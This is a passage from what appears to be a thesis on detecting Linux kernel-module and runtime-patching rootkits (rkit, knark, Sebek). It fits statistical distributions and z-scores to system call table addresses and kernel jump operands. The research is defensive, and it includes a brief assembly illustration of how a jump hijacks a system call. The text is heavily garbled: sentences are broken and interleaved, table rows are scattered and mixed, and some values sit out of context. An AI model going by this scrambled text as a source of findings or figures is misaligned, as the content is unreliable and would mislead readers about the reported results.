attacker becoming aware of this surveillance [52].  One module in the sebek package, 
sebek.o, attacks the system calls sys_read, sys_socket, and sys_open using the system ca
table modification attack [52].  From the author’s standpoint, rese
rch, specific
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‘honeypot data capture tools’ and attackers employ ‘rootkits’ – in reality, these two too
appear to be nearly identical in fuction and purpose.   
  Additionally, Sebek clients exist for both the 2.4 and 2.6 Linux kernels.  Now 
there is an oppo
ls 
rtunity to test this detection method on the 2.6 Linux kernel, as well as 
ith the 2.4 kernel as has been investigated up to this point.   
 As mentioned previously, the Linux kernel 2.4 system call table best fits the 
largest extreme value distribution, with a Anderson-Darling score of 5.228.  After 
installing the Sebek tool on Linux kernel version 2.4.27, the goodness of fit score for the 
largest extreme value distribution changes from 5.228 ( a good score) to 108.929 (a very 
bad score).  Indeed, it will be shown that sebek modifies the 2.4.27 system call table in 
eight different locations.  This is the expected result, and similar to the results in the first 
two experiments – a goodness of fit decrease of 2,083% due to what is, essentially, a 
rootkit infection.  Once these eight outliers are removed, the goodness of fit score returns 
to 4.971 – within 05% of the original, uninfected value.  Table 5.5, below, summarizes 
this finding.   






or significant improvement until the final outlier is removed.  Once again, this 
 




Modified                108.929 
Clean                   5.228 
Modifications Removed  4.971 
 Just as in experiment two, as the modified system call addresses are removed
by one, the Anderson-Darling goodness of fit score slowly improves, but does not sh
dramatic 
finding emphasizes the concept of complete detection, which further shows that even if a
rootkit attacks only a single system call table address it can be successfully detecte
 57
Additionally, if there existed a catalog of rootkits based on the number of system call 
table attacks, rootkits could possibly be identified based on this metric.  Figure 5.4, 





Figure 5.4:  Anderson-Darling score vs. outliers 
In experiment four, the Sebek data capture toolkit 2.6 was installed on the same 
.6 kernel 
le.  Table 5.6, below, illustrates that the distribution of system call 
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number of outliers
 
test system, a 32-bit Intel computer, but in this instance running Linux kernel version 
2.6.8.  This is especially interesting, in that Linux Kernel Module rootkits are most 
prevalent among the 2.4 kernels.  This is an unusual opportunity to use the general 
distribution model to detect the system call table modifcation attack against the 2.6 
kernel.   
 First, it must be determined which distribution best fits the data in the 2
system call tab
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addresses within the 2.6 kernel system call table fit the largest extreme value distribution 
est, with an Anderson-Darling goodness-of-fit score of 7.322.  Recall that the best fitting 
distribution for the syst rsion 2.4 is largest 
extreme value.  This is very good evidence that the distribution of system call addresses 
in the system call table fit the tion across ke sions and within the 
same architecture.   
Table 5.6:  system call table for kernel 2.6 
Largest Extreme Value 7.322 
3-Parameter Lognormal 10.491 
Normal 10.511 
Logistic 10.739 
3-Parameter Weibull 43.484 
bull 43.642 
43.652 
2-Parameter Exponential 79.622 
Exponential 130.255 
 
 After Sebek 2.6 is installed on the test system, the goodness-of-fit score for the 
Largest Extreme Value distribution changes from 7.322  on the clean system, to a much 
worse score of 122.115 – a change of approximately 1667%.  After these modified 
system call addresses are removed from the system call table, the goodness-of-fit score 
for the largest extreme value distribution returns to 8.031, within 09% of the original 




em calls in the system call table in kernel ve
 same distribu rnel ver
Distribution AD-Score 
3-Parameter Gamma 8.57 
Lognormal 10.51 
3-Parameter Loglogistic 10.734 
Loglogistic 10.742 
Wei
Smallest Extreme Value 
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Table 5.7:  results of sebek 2.6 experiment 
Clean      7.322 






Figure 5.5:  Anderson-Darling score vs. outliers 
 
5.5  Conclusions 
 The general distribution model appears to work very well for the detection of 
Linux Kernel Module rootkits.  In each of four experiments, the model was able to 
System AD-Score 
Modified      122.115 
 
 Just as in all of the previous experiments in this category, as the modifie
call addresses are removed one by one, the Anderson-Darling goodness-of-fit scor
slowly improves, and shows a dramatic improvement when the final outlier is rem
This is a similar result to all previous experiments in this category, and further 
strengthens the cases that complete detection and identification is possible. Figure 5.
below, illustrates further.   
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completely detect the presence of a Linux Kernel Module rootkit (or programs that mimic 
e behavior of this class of rootkit) which had modified the system call table.  
dditionally, there now exists evidence that suggests that the system call table of 
different kernel versions of Linux ma in the same 
architecture.  This is an important and promising finding, an unexpected result of 
an
rawback of this approach (although now lessened) is the necessity of having at least 
me generalized a priori knowledge about the system or class of systems under 
observation – that is, knowledge of which distribution the system call table for these 
classes of systems fits the best.  Since the system call tables of the Linux 2.4 and 2.6 
kernels both fit the largest extreme value distribution within the Intel 32-bit architecture, 
it may indeed be possible to successfully group systems by operating system and 












y fit the same distribution with









uted.  However, if a normal distribution of system calls may be assumed, this can 
tested 
 
.3 discusses the normality of the 
used 
 
  Specifically, the definitions of an outlier and discordancy test have not 
DETECTING SYSTEM CALL TABLE MODIFICATION ATTACKS USING  
NORMAL DISTRIBUTION MODELS 
 
 As discussed in the previous chapter, most system call tables are not normally 
distrib
greatly simplify the task of rootkit detection.  This assumption of normality can be 
on any given system, even if the system has been infected by a kernel rootkit.  Section 6.1
contains a review of definitions and a modified formal model, and section 6.2 presents a 
few brief comments on hardware platforms.  Section 6
system call table in uninfected systems, and systems infected by a variety of different 
rootkits, and section 6.4 briefly discusses the discordancy test in this approach.  
Section 6.5 makes a careful examination of the experimental results, and section 6.6 
includes a summary and conclusions from this approach. 
 
6.1  Definitions and Formal Model 
 Most of the definitions mentioned in this section have been previously defined in 
Section 5.1.
changed.  The definition of a kernel rootkit has similarly remain unchanged, and the 
formal model presented in Section 5.1 still holds with significant modifications.  Since 
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the formal model has changed, some of the information presented in Section 5.1 will be 
reviewed again here for clarity.  
 Recall that a kernel rootkit is defined as some program p2, which imitates a 
of operating system functionality known as program p
subset 
f p2.  
ists in p2, but not p1, is the additional functionality provided by 
the 
y be 
he elements that may be discarded are:  
1 = M
.2) 
dresses in clean kernel  (6.3) 
2 = t(s2) – Discordancy score of addresses in clean system call table  (6.4) 
lf of the elements from the original formal model, the new 
rmal  
el are the 
1’ = M
) 
1.  Therefore, p1 is a subset o
The functionality that ex
the kernel rootkit in order to maintain control of compromised systems, attack other 
systems, destroy evidence, and decrease the chance of the attacker being detected by the 
authorities.  More formally, the kernel rootkit functionality is expressed as p2 – p1 = p’ 
[14]. 
 The core difference in this approach is the absence of the necessity to have 
statistical information about the properties of an uninfected system.  This being true, 
elements of the formal model that define the properties of an uninfected system ma
discarded.  T
s 1(p1) – system call addresses in clean kernel     (6.1)  
s2 = M2(p1) – system call addresses in clean system call table   (6
D1 = t(s1) – Discordancy score of system call ad
D
 Having discarded ha
fo model is smaller, more elegant, and requires significantly less a priori knowledge
about the system under study.  The only remaining elements in the formal mod
following: 
s 1(p2) – system call addresses in infected kernel     (6.5) 
s2’ = M2(p2) – system call addresses in infected system call table   (6.6
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D1’ = t(s1’) – Discordancy score of system call addresses in infected kernel (6.7
D
) 
resses in infected system call table  (6.8) 
In this case, the discordancy test t is the z-score.  The z-score is simply the 
tions away from the mean for a particular value x, and is 
2’ = t(s2’) – Discordancy score of add
 
number of standard devia
represented by z = (x – X )/σ. 
 First, it will be shown that the values in the system call table are normal enough to 
allow the successful application of this particular test.  Second, the z-scores for the valu
in the system call table will be calculated and the entries with a z-score greater than or
equal to three have obviously been modified by the deployment of a kernel rootkit.  T




ntifying which specific system 
 
 
ilar, at least, across differing kernel versions and 
rchitectures.  In this approach, such similarity is much less important.   
All that is necessary in this case is a very modest assumption of normality.  This 
ssumption can be tested beforehand, and if it holds, the rootkit detection process can 
calls have been modified by the rootkit, and offers the promise of not only detecting 
rookits but identifying (or at least classifying) the specific rootkit which has been 
deployed.   
 The formal model for this approach is simple, elegant, and straightforward.  Once
again, the infected values in the system call table will be on the far right side of the 
distribution – if the values have been ordered.   
 
6.2 Hardware Platforms 
 In the general distribution model discussed in Chapter 5, it is imperative that the 





begin.  This p ether a 
kernel rootkit infection has oc
 
6.3 Normality of Data 
 
 The following tables s for 32 bit Intel architecture 
kernel versions 2.4.27 and 2.6.8 that are uninf nal tables show the goodness 
of fit scores for the 32 bit Inte .27 infected with the rkit 
and knark kernel rootkits as w ackage;  the 32 bit Intel 
Architecutre Kernel version 2.6.8 infected wi
uninfected SPARC architectu
 Even a cursory exami with kernel rootkit infection, 
ere are dramatic changes in th  worst fitting distributions for a given kernel 
version.  In  is based.   
However, it may also be note ibution seems to be ‘in 
the middle’ of the goodness o scenarios.  This suggests 
that the normal distribution m rdancy test, as it appears to 
be an adequate (although not r uninfected with kernel 
rootkits.  The following seven at the Normal distribution 
is neither the worst, nor the b erating system/architecture 




reliminary normality testing can be performed, regardless of wh
curred.   
how the goodness of fit scores 
ected.  Additio
l architecture kernel version 2.4
ell as the sebek 2.4 honeypot p
th the sebek honeypot package; and the 
re kernel version 2.4.27.   
nation of this data shows that, 
th e best and
fact, this is the premise upon which the earlier work in this research
d that in each case, the normal distr
f fit scores in each of these four 
ay be a suitable basis for a disco
the best) fit for kernels infected o
 tables (6.1 through 6.7) show th
est, fitting distribution for any op
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Table 6.1:  syste 32 kernel 2.4.27 
3-Parameter Gamma          6.244     
3-Parameter Loglogistic    7.357     
Logistic                   7.361   
Loglogistic                7.364  
Lognormal                  7.495  
Normal                     7.495  
3-Parameter Lognormal      7.512     
3-Parameter Weibull       11.949  
Smallest Extreme Value    11.958  
Weibull                   11.982  
2-Parameter Exponential   82.486 
Exponential              116.040 
 
Table 6.2:  system
Distribution               AD-Score 
3-Parameter Lognormal       32.996 
3-Parameter Loglogistic     77.965 
Loglogistic                 85.243 
Logistic                    85.653 
3-Parameter Gamma           87.275 
Lognormal                   95.354 
Gamma                       95.370 
Normal                      95.400 
Weibull                     97.158 
Smallest Extreme Value      97.169 
Largest Extreme Value       98.079 
Exponential                 115.452 
2-Parameter Exponential     374.231 
3-Parameter Weibull       12542.668 
Table 6.3:  system call table for infected (knark) IA32 kernel 2.4.27 
Distribution               AD-Score 
3-Parameter Lognormal       66.450 
3-Parameter Weibull         75.427 
Weibull                     88.036 
Loglogistic                 92.379 
Logistic                    92.425 
Lognormal                   92.708 
Norm
Gamma                       92.749 
3-Pa
Largest Extreme Value      108.379 
Expo   







m call table for uninfected IA
 
Distribution              AD-Score 
Largest Extreme Value      5.228   




Smallest Extreme Value      88.043 
3-Parameter Loglogistic     91.508 
al                      92.723 
rameter Gamma           94.014 
nential              114.461 
rameter Exponential  683.836 
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Table 6.4:  system call table for infected (sebek 2.4) IA32 kernel 2.4.27 
 
Distribution               AD-Score  
3-Parameter Loglogistic     31.639 





Logistic                    92.837 
Lognormal                   93.271 
Norm
Gamm
3-Parameter Gamma           95.074 
2-Parameter Exponential    677.189 
Table 6.5:  syst 2 2.6.8 kernel 
 


























Distribution               AD-Score
Weibull                     101.089 
Smal
Loglogistic                 104.191 
Logistic                    104.279 
3-Parameter Gamma           104.446 
Lognormal                   105.469 
Normal                      105.493 
Gamma                       105.506 
Largest Extreme Value       122.115 
Exponential                 129.252 
2-Parameter Exponential     739.273 
rameter Weibull         88.924 
ull                     88.938 
lest Extreme Value      88.944 
ogistic                 92.789 
al                      93.285 
a                       93.308 
Largest Extreme Value      108.929 
Exponential                114.582 
 
em ble for uninfected IA3 call ta
est Extreme Value 7.322 
8.57 rameter Gamma  
rameter Lognormal 10.491 
ormal   
al    
rameter Loglogistic 10
stic   10
ogistic   10.742 
43.484 rameter Weibull  
ll   
lest Extreme Value 
ameter Exponential 
nential   130.255 
 
 3-Parameter Lognormal       64.053 
3-Parameter Loglogistic     87.141 
3-Parameter Weibull         101.058 
 







Table 6.7:  system
Distribution             AD-Score 
Loglogistic               10.596   
Largest Extreme Value     11.631   
Logistic                  11.760  
Lognormal                 19.104  
Gamma                     20.411   
Normal                    23.273  
3-Parameter Gamma         25.861     
3-Parameter Weibull       31.932   
3-Parameter Loglogistic   33.908     
Weibull                   35.818   
3-Parameter Lognormal     36.736     
Smallest Extreme Value    40.587   
2-Parameter Exponential   52.937 
Exponential              101.512  
 
 
 A promising discordancy test that relies upon an underlying assumption of 
ormality is the z-score.  The z-score is derived by subtracting an individual score from 
the population mean and dividing the differen
The resulting z-score is a mea is from the mean, in standard 
deviations.  For obvious reaso easure of outlyingness.  A 
more thorough discussion of t  the following section. 
 
6.4  Statistical Methods 
 
 The z-score is also kn mal score in statistics.  It is a 
dimensionless quality, that is,  therefore a pure number [53].  
The quantity z represents the dis ore and the population mean, 
and as such is an excellent ca o be used in outlier detection. 
 An important distincti e z-score requires the 
opulation mean and population standard deviation, not a sample mean and sample 
 call table for uninfected SPARC kernel 2.4.27 
 
n
ce by the population standard deviation.  
sure of how far a given score 
ns, this will be an excellent m
he z-score will be presented in
own as a standard score or nor
 it has no physical units and is
tance between any given sc
ndidate for a discordancy test t
on is that the calculation of th
p
standard deviation.  This requires knowledge of the population parameters, not the 
properties of a sample drawn from a larger population [53].   
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 Why choose the z-score as a discordancy test in the use of outlier detection for 
rootkit analysis?  The score itself has many properties that lend itself well to the purpose. 
First, the data used in this research is univariate – memory addresses – and the more 
complex outlier tests designed for large, multivariate datasets are not appropriate.  
  
econd, memory addresses in any given computer system are finite and known.  







Therefore, knowledge of t
known.  Finally, the best fitting distribution(s) for any given Kernel/architecture 
combination is dramatically changed by a kernel rootkit infection.  However, the normal 
distribution seems to be ‘in the middle’ for goodness of fit, independent of whether the 
system has been infected with a Kernel rootkit.  This suggests that a discordancy test 
based on an underlying assumption of normality may be an effective test for outlie
detection in either scenario – an uninfected, or infected, system.   
 
6.5  Experimental Results 
 Before any analysis of outliers that relies on an underlying assumption of 
normality can be made, the data (the system calls present in the system call table) must be 
analyzed for normality.  Fortunately, the system call table addresses represent the ent
population and not merely a sample.   
 Before any of the normality based detection techniques in this research ma
applied to any given computer system, that system must pass a ‘preliminary normality
test’.  This ‘preliminary normality test’ must be passed regardless of whether the 
system has been infected with a kernel rootkit.  The concept for, and specific 
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implementation of, the preliminary normality test will be developed in this section afte
the examination of several specific cases.   
 First, the assumption of normality model will be applied to
r 
 two systems that have 
ot been infected by kernel rootkits.  The first system, a SPARC architecture, and the 




 also later be shown that the normality 
re 
rsion 
.4.27 have z-scores ranging from -1.35146 standard deviations below the mean, to 
ean.  This confirms the expectation that an 
n
second system, and IA32 sys
result is that neither system will have significant outliers among the system call ta
addresses – that is, no system call table address that lies outside three standard deviations 
from the mean, and preferably not outside one standard deviation from the mean.   
 
6.5.1  Uninfected IA32/2.4.27 Kernel 
 In table 6.1, observe the rank of the normal distribution in the overall ranking of
goodness of fit scores for this dataset.  The normal distribution is a very close fitting 
distribution, with a score of 7.495, in a range between 5.228 and 116.040.   
 It will be shown that this is sufficient in order to successfully employ a normality
based discordancy test.  Furthermore, it will
requirement necessary for these tests is quite loose.   
 Having established that the data passes the preliminary normality test, the next 
step is to calculated the z-scores for each memory address in the system call table, and 
more closely examine those addresses that are significant outliers (those addresses mo
than three standard deviations from the mean).   
 The 252 memory addresses in the system call table for IA32 Linux kernel ve
2
1.47928 standard deviations above the m
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uninfected system has no outlying memory address in the system call table and all 
memory addresses are easily within three standard deviations from the mean, and as s
none of them are considered outliers.   
uch 
 normal distribution in the overall 
d, 




 deviations above the mean.  This is a worrisome 
sult because z-scores of greater than three are generally considered to be outliers.  In 
the system call table that lie outside three 
e validity of the model.  However, there is still hope.  In the event that the 
rootkit infections in the following sections generate extreme outliers, that is, outliers with 
 
6.5.2  Uninfected SPARC/2.4.27 Kernel 
 In table 6.2, once again observe the rank of the
ranking of goodness of fit scores for this dataset.  The normal distribution is, as expecte
a very close fitting distribution, with a score of 23.273, in a range between 11.631 and 
101.512.   
 This should also be a sufficient normality
n ity based discordancy test.  In fact, the overall rank of the normal distribution 
among the other distributions is better than in the previous experiment.  If the result o
this experiment is as expected, the normality requirement will be further lessened.   
 Calculating the z-scores for the system call table in a SPARC architecture k
version 2.4.27 system, the observations range between -0.84669 standard deviations 
below the mean up to 3.60707 standard
re
fact, there are fifteen memory addresses in 
standard deviations from the mean.   
 In an uninfected SPARC architecture Kernel version 2.4.27 system, there are 
fifteen outliers that may appear to be caused by rootkit infection, and this finding 
threatens th
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z-scores in excess of four, ten, fifteen or even more standard deviations from the mean, 
the model may still hold.  
 
6.5.3  Uninfected IA32/2.6.8 Kernel 
 Table 6.5 shows that the system call table for an uninfected 32-bit Intel 
architecture 2.6.8 kernel once again fits the normal distribution very closely, with a 
Anderson-Darling goodness of fit score of 10.511, in a range between 8.57 and 130.255.  
This seems to be a good enough score to perform the z-score test, until the uninfected 
system call is analyzed for the presence of outliers.   
 In the uninfected system, the 2
 
84 entries in the system call table have z-scores 
. 
 the basic statistical properties on the three preceding 
ninfected systems indicates that normality based analysis of the system call table is 
itecture Linux 2.4.27 kernel, questionable for a 
el 
y 
 general a priori knowledge about 
raning from -1.29596 standard deviations below the mean, up to 9.44081 standard 
deviations above the mean.  There exists a single natural outlier with a z-score of 
9.44081.  If not for this entry, the z-scores would range between -1.29596 and 1.69834
 
6.5.4 Implications On Analysis 
 An investigation of
u
certainly possible on a 32-bit Intel arch
64-bit SPARC architecutre Linux 2.4.27 kernel, and not possible for a 32-bit Int
architecture Linux 2.6.8 kernel.  The implicatons of this finding are that:  there is 
variability in the statistical properties of system call tables, even within the same 
architecture but across kernel versions; a favorable score on some measure of normalit
does not guarantee the absence of outliers; and, some
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the basic statistical properties of broad classes of operating system/architecture pairs 
would be helpful. 
 
6.5.5 Rkit Infected IA32/2.4.27 Kernel 
 Recall that Table 6.2 presents the Anderson-Darling goodness of fit scores for 
e 32-bit Intel Architecture Linux Kernel 2.4.27 rkit-






r IA32 Linux kernel version 2.4.27 have z-scores ranging between 
.35146 standard deviations below the mean, to 1.47928 standard deviations above the 
t an uninfected system of this type has no 
y 
in infected with the rkit 1.01 LKM 
several different distributions of th
infected system call table.  Specifically, the normal distribution – the basis for thi
received an AD score of 95.400 within an overall range between 32.996 (3-parameter
lognormal) and 12542.668 (3-parameter weibull).   
 In an uninfected system of this type, the normal distribution received an AD
of 7.495 within an overall range between 5.228 (largest extreme value distribution
116.040 (exponential distribution).  Relying on an underlying assumption of norm
(which may not be wise), an analysis will now be conducted to detect the presence of the
rkit Linux Kernel Module rootkit. 
 As previously mentioned in Section 6.4.1, the 252 memory addresses in the 
system call table fo
1
mean.  This re-confirms the expectation tha
obvious outliers in the system call table – all of the system call table entries are easily 
within three standard deviations from the mean, so none of them are considered to be 
outliers.   
 Recall that rkit 1.01 attacks only one location in the kernel – the sys_setuid entr
in the system call table.  After the kernel is once aga
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rootkit, the normality test is re-applied.  Now all of the entries in the system call table lie 
between -0.0709 standard devations below the mean and 0.0028 standard deviations 
above the mean, with one exception.  One entry in the infected system call table, 
sys_setuid, lies at 15.9058 standard deviations above the mean.  Clearly this is an obvious
outlier at approximately sixteen sta
 
ndard deviations above the mean, since the usual 
cations in the system call table.  When the normality test is applied, that is,  
ever, 
bove 
 LKM Rootkit, sebek 2.4 attacks eight different 
cations in the system call table.  When the normality test is once again applied, that is,  
requirement for an outliers is three or more standard deviations from the mean.  
Sys_setuid is indeed the single system call entry attacked by rkit 1.01 and it is clearly 
detected by the normality test.   
 
6.5.6  Knark Infected IA32/2.4.27 Kernel 
 Unlike the rkit 1.01 LKM Rootkit, the knark 2.4.3 LKM rootkit attacks nine 
different lo
When z-scores for each entry are calculated these nine locations are immediately flagged 
as outliers.   
 All non-infected locations fall well within the three standard deviation limit and 
can be excluded as outliers.  The nine infected locations in the system call table, how
each receive z-scores ranging between 5.18580 and 5.18585 standard deviations a
the mean.  These entries can be obviously be considered outliers and as such, victims of 
Knark 2.4.3 LKM rootkit infection. 
 
6.5.7  Sebek 2.4 Infected IA32/2.4.27 Kernel 
 Similar to the knark 2.4.3
lo
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When z-scores for each entry are calculated these eight locations are also flagged as 
 
he system call table, however, each receive z-scores ranging between 
 Kernel 
Recall that Table 6.6 presents the Anderson-Darling goodness of fit scores for 
 architecture Linux kernel 2.6.8 sebek 2.6 
 test – 
n uninfected system of this type, the normal distribution received an AD score 
bek 
e 2.6.8 Kernel fits the normal distribution very closely, with a Anderson-
arling goodness of fit score of 10.511, in a range between 8.57 and 130.255.  This 
outliers.   
 Just as with the preceding rootkits, all non-infected locations fall well within the
three standard deviation limit and can also be excluded as outliers.  The eight infected 
locations in t
5.51149 and 5.51151 standard deviations above the mean.  These entries can be 
obviously be considered outliers and as such, victims of knark 2.4.3 LKM rootkit 
infection. 
 
6.5.8  Sebek 2.6 Infected IA32/2.6.8
 
several different distributions of the 32-bit Intel
infected system call table.  Specifically, the normal distribution – the basis for this
received an AD score of 105.493 within an overall range between 87.141 (3-parameter 
loglogistic) and 739.273 (3-parameter exponential).   
 In a
of 10.511 within an overall range between 8.57 (3-parameter gamma) and 130.255 
(exponential distribution).  Relying on an underlying assumption of normality (which 
may not be wise), an analysis will now be conducted to detect the presence of the se
2.6 honeypot/Linux Kernel Module Rootkit. 




seems to be a good enough score to perform the z-score test, until the uninfected system 








standard deviations above the mean.  
st, 
nd to 
call is analyzed for the presence of outliers.   
 The uninfected system call of the 32-bit Intel architecture Linux 2.6.8 kernel 
yields one clear outlier – one system call entry with a z-score of 9.44081 standard 
deviations above the mean.  This finding shows that this normality based test is not 
appropriate for all operating system/architecture pairs.
however, that the test is susceptible to false positives.  Note, however, that the percentage 
of false positives is a very small 0.35%.  The test will be applied in this case neverth
to determine if the test is still capable of detecting the rootkit – that is, the test may stil
be valuable if a method can be found to address the problem of false positives.  A second
discordancy test may prove useful for further 
fa sitives. 
 Sebek 2.6, similar to sebek 2.4, attacks eight different locations in the system
table.  When this honeypot/rootkit is applied, and the z-score test is applied, all eight
these attack locations are flagged as outliers.  The eight outliers have z-scores ranging 
between 5.86328099021 and 5.86328623365 
Clearly, the z-score test succeeds in detecting the sebek 2.6 honeypot/rootkit.  This te
therefore, suffers from false positives but not false negatives.  If a way could be fou
address the problem of false positives, this test may yet have detection value. 
 
6.6  Conclusions 
 Detecting the system call table modification attack using the ‘assumption of 
normality’ model has been only partially successful.  This approach has been successful 
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in detecting rootkits on a Linux 2.4.27 kernel/32-bit Intel architecture system.  In this 
configuration, detection was completely successful and there were no false positives or 
false negatives. 
 However, in other configurations, including the Linux 2.6.8/32-bit Intel and Linux
2.4.27/SPARC Architectures, this model suffers from false positives.  The reason for this
lies in the fact that both of these configurations contain natural outliers in the system ca
table, that is, the uninfected system call table in both configurations contain entries 
lie more than three standard deviatons from the mean.   
 Experiments have shown that this method is still effective at detecting rootkits on 





d to show 
at a system is not infected, this method may be employed to show that a system is 
ible that this method may still be useful in the future, if combined with 
 
l for another class of operating systems.   
 
th
infected.  It is poss
another approach that can eliminate the false positives.  Finally, it is clear that the 
assumption of normality does not hold, at least for distributions of Linux system call 
tables across various architectures.  At best, this assumption may be shown to hold in a
few instances.  In a later chapter, the normality assumption and approaches will be seen 









GENERAL DISTRIBUTION MODELS 
 
 
al distribution models to 
etect the system call target modification attack employed by runtime kernel patching 
otkits.  In sections 7.1 and 7.2, a review of definitions and a formal model are 
resented.  Section 7.3 includes a brief discussion of hardware platforms covered in this 
search, as well as an explanation of the absence of the SPARC architecture from this 
articular technique.  Section 7.4 offers an analysis of the statisitcal properties of the data 
sed in this technique – the memory addresses from the disassembled conditional and 
unconditional jump instructions loca hile section 7.5 presents an 
analysis of the statistical methods used in the interpretation of the data.  Section 7.6 
in  




DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING 
 







ted in the kernel, w
cludes the presentation and analysis of the experimental results, and section 7.7 finishes
sions.   
 In this chapter, the definitions of an outlier, discordancy test, and kernel rootk
have not changed from the original definitions presented in Chapter 5.  Kernel rootkits 
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attack the operating system by modifying system call memory addresses.  Recall that this 
is accomplished in the following ways [14]: 
 
System call table modification – Changes the addresses of the system calls in the system 
call table to point to similar, but malicious, system calls located much higher in memory. 
 
System call table redirection – Modifies the system call handler, changing the address of 
the system call table to a similar, but malicious system call table much higher in memory. 
 
System call target modification – Directly modifies the system call instructions (via 
runtime kernel patching), inserting a jump instruction to a location much higher in 
ntains a similar, but malicious, system call.   
tem call target modification attack, in that 
e system call table event handler itself becomes the victim of system call target 
ble modification attack, which has been examined in the preceding two chapters.  A 
ut the system calls themselves.   
memory which co
 
 The work in this chapter focuses on detecting rootkits of the two latter types – 
system call redirection, and system call target modifications.  Note that system call table 
redirection is simply a special case of the sys
th
modification.   
 Linux Kernel Module rootkits typically employ the less sophisticated system call 
ta
more sophisticated rootkit known as a runtime kernel patching rootkit actually modifies 
the running kernel in /dev/mem or /dev/kmem and changes not the system call table, 
b
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 Experience has shown that this is accomplished by overwriting the first few 
instructions of a system call with a jump instruction to some location very high in 
memory, containing the complete code for a similar malicious system call.  Now, instead 
f being interested in memory addresses located only in the system call table, the 
ration, 





ny conceivable combination 
f jump
o
detection effort will be focused on all jump instructions within the kernel, and sets of 
instructions that may mimick a jump instruction.  Specifically, the operands of these 
instructions, memory addresses, are of particular interest.   
 How may this attack be detected?  Chapter 3 details methods of rootkit ope
and one may ob
calls, and reading the instructions.  From an automated or statistical standpoint this attack 
may be detected by disassembling the entire kernel, and collecting the operands (memo
addresses) found in the conditional and unconditional jump instructions located in the 
disassembled kernel code.  Attackers typically use the simplest method possible,  
usually an attack resembling  
 push   $0xd087bf65 
 ret 
or  
 jmp $0xd087bf65 
 This simple attack is more than sufficient to subvert the kernel, assuming th
suitable malicious, replacement system call has been deployed much higher in memory
However, there are many different conditional and unconditional jump instructions fo
any given architecture.  Theoretically, an attacker may use a
o  instructions to alter the code of any given set of system calls.  It is therefore 
important to consider all jump instructions in the analysis.  The conditional and 
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unconditional jump instructions for the 32-bit Intel architecture are presented in tables 7.1 
and 7.2.    
Table 7.1:  conditional jump instructions for the 32-bit Intel architecture 
Instruction    Description 
JA           jump if above 
          jump if above or equal 
JB               jump if below 
p if below or equal 
JC           jump if carry 
JCXZ           jump if CX register is 0 
JE           jump if equal 
 jump if greater 
 jump if greater or equal 
JLE           jump if lower or equal 
JNAE           jump if not above or equal 
JNBE           jump if not below or equal 
JNE           jump if not equal 
JNGE           jump if not greater or equal 
JNLE           jump if not less or equal 
JNP           jump if not parity 
JNS           jump if not sign 
JNZ           jump if not zero 




JZ ump if zero 
 
Table 7.2:  uncondition  instructions for the 32-bit Intel architecture 
 
Instr    




JBE           jum
JG          
JGE           
JL             jump if lower 
JNA           jump if not above 
JNB           jump if not below 
JNC           jump if not carry 
JNG           jump if not greater 
JNL           jump if not less 
JNO           jump if not overflow 
JO           jump if overflow 
          jump if parity even
          jump if parity odd 
          jump if sign 
          j
al jump




7.2: Formal Model 
 Recall that memory a sses em calls are represented as 
M1(p1) for all system calls, and  for the subset of system calls in the system call 
table.  Since the operands of all condit p instructions are being 
analyzed for outliers, interest will be f memory addresses for all 
system calls.  Since the entire kernel is being analyzed for the system call modification 
attack, M1(p1) now represent f th resses – from the 
disassembled conditional and uncondi m the running kernel.  
 Memory addresses for system t functionality will be 
represented as M1(p2) for all sy lls, and M2(p2) for the subset of system calls in the 
system call table.  Again, M  the entire kernel is being 
analyzed, not merely the sys
 Recall that this new  kernel rootkits through outlier 
analysis includes several key res. y to understand the 
underlying distribution of system call  a general level.  This includes 
two interrelated groups of system call addresses:  all system call addresses in the kernel, 
r s1; and system call addresses only in the system call table, or s2.  Therefore, s2 is a 
subset of s1.  Since the entire kernel is being analyzed, only s1 is of interest.   
Second, s1 will best fit some known distribution with a discordancy test score of 
owledge will be general, obtained by experimentation with many 
.  
ddre for normal kernel syst
 M2(p1)
ional and unconditional jum
ocused on M1(p1), that is, 
s all o e operands – memory add
tional jump instructions fro
calls modified by rootki
stem ca
1(p2) is of particular interest because
tem call table.  
framework for detecting
 featu   First, it is again necessar
addresses, at least on
o
 
D1.  However, this kn
different operating system/architecture pairs.  If a kernel rootkit is present, s1 will be 
transformed to s1’ and D1 and will be transformed into some less well fitting values D1’
Finally, one discordancy test t will be selected to test for the presence of outliers.  In this 
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case, the chosen discordancy test is the Anderson-Darling goodness of fit test.  This 
model may be formalized as follows:  
s1 = M1(p1) – memory addresses in uninfected system call table    
s
(7.1) 
1 = t( .3) 
stem/architecture pairs, while s1’ is obtained 
rom th
l address in 
6) 
1’ = M1(p2) – memory addresses in infected system call table   (7.2) 
D s1) – discordancy test of uninfected system call table    (7
D1’ = t(s1’) – discordancy test of infected system call table    (7.4) 
 Note that s1 is derived from general knowledge in that it is obtained from 
experimentation across mutliple operating sy
f e specific system under study.  If D1’ > D1 then a rootkit has been detected. 
 If a rootkit has been detected, outliers are removed, one at a time, until the 
discordancy test returns to close to the uninfected value of D1.  Note that the location of 
the outliers is constrained by operating system mechanics, so we know that outliers are 
always in the right hand tail of the distribution.   
 In the following example, Let s1j be the largest (right most) system cal
the kernel.  
s1’ = s1’ – s1j’          (7.5) 
D1’ = t(s1’)          (7.
And again  
If D1’ > D1 then a rootkit has been detected. 





7.3  Hardware Platforms 
 One important assumption relied upon by the ‘known distribution model’ is that 
the distribution of system call addresses be very close across kernel versions and 
architectures.  This is absolutely necessary if any analysis is to be performed without a 
priori knowledge of the specific system under observation.  Experiments were conducted 
e to 
32-bit Intel machine, kernel 2.4.27 
Smallest Extreme Value 18279.5 
3-Parameter Loglogistic 19691.675 
3-Parameter Weibull  20236.661 
3-Parameter Lognormal 25136.051 
2-Parameter Exponential 30247.101 
Exponential   30247.104 
 
Table 7.4:  distribution fits from uninfected 32-bit Intel machine, kernel 2.6.8 
Distribution                AD-Score 
Loglogistic   15883.557 
Logistic   16875.174 
3-Parameter Loglogistic 17575.839 
Normal    25497.186 
3-Parameter Lognormal 25554.644 
Lognormal    26270.259 
Weibull   28804.239 
Smallest Extreme Value 28845.74 
rameter Exponential 32412.629 
nential   32419.241 
3-Parameter Weibull  3492063.179 
e 
memory addresses for the 2.6.8 Kernel  used in testing.  However, logistic is still a very 
on Linux kernel versions 2.4.27 and 2.6.8 on a 32-bit Intel Architecture test machin
insure that this assumption is valid.  Note that the SPARC architecture is conspicuously 
absent from this experiment, and this will be addressed later.   
Table 7.3:  distribution fits from uninfected 
Distribution               AD-Score 
Logistic   17667.781 
Loglogistic   24531.615 
Normal    25127.02 
